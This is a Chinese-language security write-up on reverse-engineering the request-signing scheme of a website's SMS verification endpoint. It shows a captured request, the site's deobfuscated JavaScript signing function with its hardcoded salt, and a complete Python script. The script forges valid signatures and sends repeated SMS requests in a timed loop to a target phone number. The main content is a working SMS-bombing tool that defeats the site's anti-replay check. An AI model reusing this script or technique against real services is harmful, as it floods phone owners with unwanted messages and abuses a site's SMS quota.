在网站中,sign(签名) 指用户用来确认身份或操作的标识,它可以是登录账号时的用户名和密码(登录签名)、在电子合同或表单上的电子签名,也可以是开发接口中用来验证请求合法性的数字签名,总之都是为了确认身份、保证操作真实性和数据安全。
发现过程 测试注册功能,发现验证码尝试短信轰炸
抓包获取数据包,发现body存在sign验签,url中存在mt时间戳
1 2 3 4 5 6 7 8 9 10 11 12 POST /api/member/send-sms?ver=2.0&mt=1771921995563 HTTP/1.1 Host : Content-Length : 62Sec-Ch-Ua-Platform : "Windows"Sec-Ch-Ua : "Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"Content-Type : application/x-www-form-urlencoded;charset=UTF-8Accept-Encoding : gzip, deflate, brAccept-Language : zh-CN,zh;q=0.9Priority : u=1, iConnection : keep-alivephone =13811111111 &type=6 &sign=1953907 BCF53FB558F6AD2F677B159B1
重新发包会显示限制。模拟发送数据包查看对应代码
找到了对应接口
1 2 3 4 5 6 7 8 function mNe (e, t="modal" ) { return cNe.post ({ url : "/api/member/send-sms" , params : e }, { errorMessageMode : t }) }
逆向过程 从接口构造看,sign应该是在e里面的。下断点发包
发现sign在之前就传入进来了,那么全局搜索sign,sign:,function sign
1 2 3 4 sign: ae ({ phone: Te.value.namePhone, type: "7" })
发现sign是由ae()方法生成的,对ae打断点,然后重新发包查看
然后在控制台直接输入ae.tostring()就可以获取ae()真实代码
找到这个function $we())即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 function $we(e) { const t = JSON .parse(JSON .stringify(e)); for (const r in t) { const e = typeof t[r]; (["coLicensePic" , "cardPic1" , "cardPic2" , "cardPic3" , "reject_reason" , "sign" ].includes(r) || "string" !== e && "number" !== e && "boolean" !== e || "string" === e && (t[r].length > 30 || t[r].includes(" " ) || !t[r])) && delete t[r] } const n = Object .keys(t).sort(( (e, t) => e < t ? -1 : 1 ) ); let o = ""; return n.forEach((e => { o += `${e}=>${t[e]}@ ` } ) ), o = o.substring(0 , o.length - 1 ) , o = Hwe(o) .toString() , o += "^_*#06@!@6#_^", o = Hwe(o) .toString() .toUpperCase() , o }
字段过滤,删除
1 coLicensePic/cardPic1/cardPic2/cardPic3/reject_reason/sign
不是string、number、boolean的全部删掉,如果是string必须满足长度<=30,不能包含空格,不能为空。剩下合格的进入下一阶段。
然后进行排序(字母升序)拼接字符串,去掉最后一个@
1 mt=>xxx@phone =>xxx@type =>6 @ver =>2.0
然后先md5(排序值)+盐,在md5转大写最后生成sign
最终脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 import hashlib import time import requests def md5(text): return hashlib.md5(text.encode('utf-8' )).hexdigest() def generate_sign(phone, mt): type_value = "6" ver = "2.0" salt = "^_*#06@!@6#_^" sign_str = f"mt=>{mt}@phone=>{phone}@type=>{type_value}@ver=>{ver}" first_md5 = md5(sign_str) return md5(first_md5 + salt).upper() def send_request(phone): ver = "2.0" mt = str(int(time.time() * 1000)) sign = generate_sign(phone, mt) url = f"https://domain/api/member/send-sms?ver={ver}&mt={mt}" headers = { "Accept" : "application/json, text/plain, */*" , "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "Origin" : "" , "Referer" : "" , "User-Agent" : "Mozilla/5.0" } data = { "phone" : phone, "type" : "6" , "sign" : sign } try: start = time.time() response = requests.post(url, headers =headers, data =data, timeout =10) end = time.time() print ("=" * 60) print ("请求URL:" , url) print ("请求Body:" , data) print ("状态码:" , response.status_code) print ("耗时: %.3f 秒" % (end - start)) print ("响应头:" , dict(response.headers)) print ("响应体:" , response.text) print ("=" * 60) return response.status_code == 200 except Exception as e: print ("请求异常:" , e) return False phone = "" interval = 60 / 15 start_time = time.time() success = 0 fail = 0 count = 0print ("开始 ...\n" )while time.time() - start_time < 60: count += 1 print (f"\n第 {count} 次请求" ) if send_request(phone): success += 1 else : fail += 1 time.sleep(interval)print ("\n测试结束" )print ("总请求数:" , count)print ("成功:" , success)print ("失败:" , fail)
此时即可以伪造sign正常发包了